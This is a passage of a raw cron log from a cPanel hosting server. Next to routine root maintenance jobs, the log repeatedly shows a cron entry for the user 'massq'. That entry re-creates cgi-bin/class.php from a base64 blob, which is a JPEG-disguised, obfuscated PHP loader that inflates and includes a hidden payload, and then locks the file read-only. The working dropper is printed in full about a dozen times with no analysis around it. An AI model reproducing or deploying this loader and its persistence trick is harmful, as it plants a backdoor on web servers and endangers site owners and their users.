RfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:05:01 server CROND[21884]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:05:01 server CROND[21888]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 03:05:01 server CROND[21885]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 03:05:01 server CROND[21887]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 03:05:01 server CROND[21895]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 03:06:01 server CROND[22751]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 03:06:01 server CROND[22753]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:06:01 server CROND[22754]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:07:01 server CROND[23290]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:07:01 server CROND[23291]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:07:01 server CROND[23292]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 03:08:01 server CROND[23667]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 03:08:01 server CROND[23669]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:08:01 server CROND[23668]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:09:01 server CROND[24147]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 03:09:01 server CROND[24146]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 03:09:01 server CROND[24148]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:09:01 server CROND[24149]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:10:01 server CROND[24589]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 03:10:01 server CROND[24591]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 03:10:01 server CROND[24595]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 03:10:01 server CROND[24597]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:10:01 server CROND[24592]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 03:10:01 server CROND[24599]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:10:01 server CROND[24596]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 03:10:01 server CROND[24598]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 03:11:01 server CROND[25416]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 03:11:01 server CROND[25418]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:11:01 server CROND[25417]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:12:01 server CROND[25783]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 03:12:01 server CROND[25784]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 03:12:01 server CROND[25785]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:12:01 server CROND[25794]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:13:01 server CROND[26150]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 03:13:01 server CROND[26152]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:13:01 server CROND[26153]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:14:01 server CROND[26624]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:14:01 server CROND[26625]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 03:14:01 server CROND[26626]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:15:01 server CROND[27000]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 03:15:01 server CROND[27002]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:15:01 server CROND[27003]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 03:15:01 server CROND[27004]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 03:15:01 server CROND[27007]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 03:15:01 server CROND[27005]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:15:01 server CROND[27009]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  8 03:15:01 server CROND[27008]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 03:16:01 server CROND[27850]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:16:01 server CROND[27851]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 03:16:01 server CROND[27852]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 03:17:01 server CROND[28219]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 03:17:01 server CROND[28220]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 03:17:01 server CROND[28221]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 